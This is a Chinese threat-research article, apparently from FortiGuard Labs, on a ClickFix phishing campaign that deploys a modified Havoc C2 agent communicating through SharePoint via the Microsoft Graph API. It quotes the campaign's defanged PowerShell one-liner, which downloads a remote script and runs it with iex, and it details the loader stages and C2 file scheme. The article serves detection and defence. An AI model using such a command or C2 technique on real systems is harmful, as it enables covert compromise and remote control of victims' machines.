基于Havoc滥用Microsoft Graph API实现新型隐蔽命令与控制(C2)
作者:Yurren Wan | 2025 年 3 月 3 日
受影响平台:微软 Windows 系统
受影响方:任何组织
影响:攻击者获得对受感染系统的控制权
严重程度:高
Havoc是一个功能强大的命令与控制(C2)框架。和其他知名的 C2 框架(如 Cobalt Strike、Silver和 Winos4.0)一样,“Havoc” 已被用于威胁活动中,以实现对目标的完全控制。此外,它是开源的,可在 GitHub 上获取,这使得威胁行为者更容易对其进行修改以逃避检测。
FortiGuard 实验室最近发现了一场复杂的网络钓鱼活动,该活动结合了 “ClickFix” 和多阶段恶意软件,以部署经过修改的 “Havoc框架”(Havoc Demon Agent)。威胁行为者将恶意软件的每个阶段都隐藏在一个 SharePoint 网站背后,并使用经过修改的 “Havoc框架” 版本与微软 Graph API 相结合,在受信任的知名服务中隐藏 C2 通信。
初始访问
攻击活动始于一封网络钓鱼电子邮件,附件是一个 HTML 文件,如图 2 所示。邮件使用简短的说明和紧急的语气,促使收件人立即打开附件。
附件 “Documents.html” 是一次 “ClickFix” 攻击,它在 HTML 中嵌入了虚假的错误消息和说明,欺骗用户将恶意的 PowerShell 命令复制并粘贴到终端或 PowerShell 中,最终执行恶意代码。
powershell -w h -c "iwr ‘hxxps://hao771[.]http://sharepoint.com/_layouts/15/download.aspx?share=EU7smZuKo-pDixZ26BSAaX0BVVcF5VkOc7qEvjsDSAH9OQ'|iex"
payload_20250112_074319.ps1
这个脚本文件托管在 SharePoint 上,并由威胁行为者控制。当脚本运行时,它会通过验证域计算机的数量来检查执行环境是否为沙箱环境。然后,它会删除 HKCU:\Software\Microsoft 下所有名称以 “zr_” 开头的注册表项,并添加指定的属性作为感染标记。
接下来,该脚本会验证 pythonw.exe 是否存在。如果未找到,它会下载 Python 解释器。否则,它会直接运行 Python 脚本。最后,远程 Python 脚本会被获取并在隐藏窗口中执行,以掩盖恶意活动。
Python Shellcode Loader - payload_20250107_015913.py
和 PowerShell 脚本一样,这个 Python 脚本也托管在同一个 SharePoint 上。它包含用多语种开发者编写的调试信息,并充当 shellcode 加载器。
我们在终端中直接使用 Python 解释器执行了该脚本。日志依次显示 “Выделение памяти”(内存分配)、“Запись в память”(写入内存)、“Выполнение shellcode”(执行 shellcode)和 “Завершение выполнения скрипта”(脚本执行完成),表明 shellcode 执行成功。
KaynLdr
KaynLdr 是一个 GitHub 上的 Shellcode 加载器,旨在以反射方式加载嵌入的 DLL。它通过使用经过修改的 DJB2 算法进行 API 哈希处理,使分析变得复杂,并利用已解析的 ntdll API 进行内存分配和映射。“call rax” 指令会执行嵌入的 DLL 的入口点。
Havoc Demon DLL
“Havoc” 是一个开源的后渗透命令与控制框架,用于红队演习和攻击活动中,以实现对被攻陷目标的完全控制。
在这次攻击活动中,我们观察到威胁行为者将 “Havoc” 与微软 Graph API 结合使用,在知名服务中隐藏 C2 通信。
经过修改的 Havoc Demon DLL仍然以 “DemonInit” 开始,并使用与 KaynLdr 相同的哈希算法来检索必要的 API 并初始化配置对象。
第二个函数 “SharePointC2Init” 使用微软 Graph API 在攻击者的 SharePoint 网站上初始化文件。
它首先将硬编码的共享密钥与 POST 请求所需的参数结合起来。然后,它向微软身份平台的 /token 端点发送请求,以获取微软 Graph API 的访问令牌。
接下来,它利用获取到的令牌,通过发送 PUT 请求在 SharePoint 的默认文档库中创建两个文件,如图 10 所示。
“Havoc AgentID”会生成 “受害者 ID”(VictimID)作为文件名,并与后缀 “pD9-tKout/pD9-tKin” 连接起来,以表明其用途。
发送到 C2 的初始数据包是一个 “CheckIn” 请求,其中包含从 “DemonMetaData” 函数收集的数据。在这一步中,受害者的信息(如主机名、用户名、域名、IP 地址、进程详细信息、操作系统信息、用户是否拥有提升权限的账户以及Demon DLL 中的配置)会被发送到 C2 服务器。
所有内容都使用 AES-256 算法在 CTR 模式下进行加密,使用随机生成的 256 位密钥和 128 位初始向量(IV)。最后,在通过 “TransportSend” 函数发送到 C2 服务器之前,它会与头部信息结合起来。
“TransportSend” 函数已被修改,通过访问两个文件({VictimID} pD9-tKout 和 {VictimID} pD9-tKin)与 C2 进行通信。
它会更新对 “{VictimID} pD9-tKout” 文件的请求,然后使用微软 Graph API 通过 GET 方法访问 “{VictimID} pD9-tKin” 文件的内容,从 C2 获取响应。如果成功获取响应,“{VictimID} pD9-tKin” 文件的内容会立即被删除。
接下来,响应中的内容会与 “ AgentID” 进行比较。如果它们匹配,“session.connected” 标志会被设置,并且它会进入调度程序例程,等待攻击者的新任务。
在调度程序例程中,代理会发送一个 “获取任务”(Get Job)请求,并将响应解析为命令 ID、请求 ID 和任务。虽然在我们的分析过程中只观察到了 “DEMON_COMMAND_NO_JOB”(命令 ID:0xA),如下所示,但我们发现,如果程序中存在不同的命令 ID 且不为 0xA,任务将被解密并执行。
支持的命令与 Havoc GitHub 中的命令相同,如图 14 所示。这些命令包括收集目标信息、文件操作、命令和有效载荷执行、令牌操作以及 Kerberos 攻击。
结论
除了对网络钓鱼电子邮件保持警惕外,对于打开终端或 PowerShell 的引导性消息,必须格外小心处理,以防止无意中下载和执行恶意命令。
在本文中,我们揭示了此次攻击中使用的执行流程以及经过修改的开源后渗透框架。公共服务在攻击活动中再次扮演了关键角色,现在它进一步与经过修改的 “Havoc框架” 集成,以在微软 Graph API 中隐藏恶意通信,这使得识别和检测变得更加困难。
内网隔离,专为加速网络分段而设计(https://www.fortinet.com/cn/solutions/enterprise-midsize-business/scalable-flexible-segmentation)
-
钢筋桁架的优势有哪些 如何检验质量是否达标2025-12-23 16:55 166浏览
-
汽车车厢板设备安装使用要注意哪些问题?2025-12-23 16:54 118浏览
-
电缆桥架设备优势有哪些?应用的意义是什么?2025-12-23 16:53 71浏览
-
钢筋桁架焊接生产线需要注意什么问题?2025-12-23 16:52 190浏览
-
如何才能有效的提高钢板仓立柱设备工作效率2025-12-23 16:50 53浏览
-
汽车车厢板设备应用具有哪些好处?2025-12-23 16:49 161浏览
-
钢筋桁架生产线的流程都有哪些方面?2025-12-23 16:48 34浏览
-
钢筋桁架生产线的选择,怎么做才正确呢?2025-12-23 16:46 211浏览
-
波纹腹板生产过程当中需要掌握的基本要点2025-12-23 16:45 69浏览
-
如何选择合适的外墙装饰一体板生产线?为你支招!2025-12-23 16:30 129浏览
-
带你了解净化板生产线:原来净化板的生产流程是这样的!2025-12-23 16:28 131浏览
-
技术创新 品质保障!带你了解波浪腹板H型钢焊接生产线2025-12-23 16:26 64浏览
-
什么是蜜罐(计算)?2025-12-23 16:11 61浏览
-
工控系统加固的七步法2025-12-23 16:09 109浏览
-
剑总讲工控安全03-OT 安全热点 | 巴铁基斯坦发动网络攻击致印度OT电网瘫痪2025-12-23 16:07 145浏览
-
RolandSkimmer:信用卡窃贼的无声作案过程揭秘2025-12-23 16:06 104浏览
-
OT网络如果做网络分段?2025-12-23 16:04 192浏览
-
量子计算浪潮下的安全应对之法2025-12-23 16:03 182浏览
-
FortiSandbox 5.0 检测出不断演变的 Snake Keylogger(键盘记录器)新变体2025-12-23 15:59 172浏览
-
工业控制系统脆弱性和严重漏洞TOP102025-12-23 15:57 104浏览
-
技术解读 | 最新Python代码中的恶意“意图”2025-12-23 15:52 146浏览
-
抗衰早就卷到“细胞级”!免疫细胞抗衰该从年轻时开始布局吗?2025-12-18 15:14 186浏览
-
胎盘干细胞出圈!“一个胎盘护全家”,这才是科学育儿天花板2025-12-18 15:14 116浏览
-
与其纠结要不要存免疫细胞,不如先了解一下免疫细胞与抗衰吧!2025-11-20 15:56 287浏览
-
论干细胞的作用和功效:不只是抗衰,这次从提升生活质量说起2025-11-20 15:55 270浏览
-
燕小千AIGC大模型集成,实现企业文档的智能问答,燕千云v1.21.0全新版本与你“童”行!2025-11-11 15:08 722浏览
-
一键催办省心省力,小伙伴直呼泰裤辣!燕千云v1.20版本升级,快来体验吧!2025-11-11 15:06 259浏览
-
既好看又实用:改善ITSM仪表盘的10条建议2025-11-11 15:04 271浏览
-
ESM风潮下企业服务的最佳实践探讨2025-11-11 15:04 212浏览
-
期待已久!燕千云v1.19版本服务请求全新版本正式发布,赶快来感受一下吧!2025-11-11 14:59 278浏览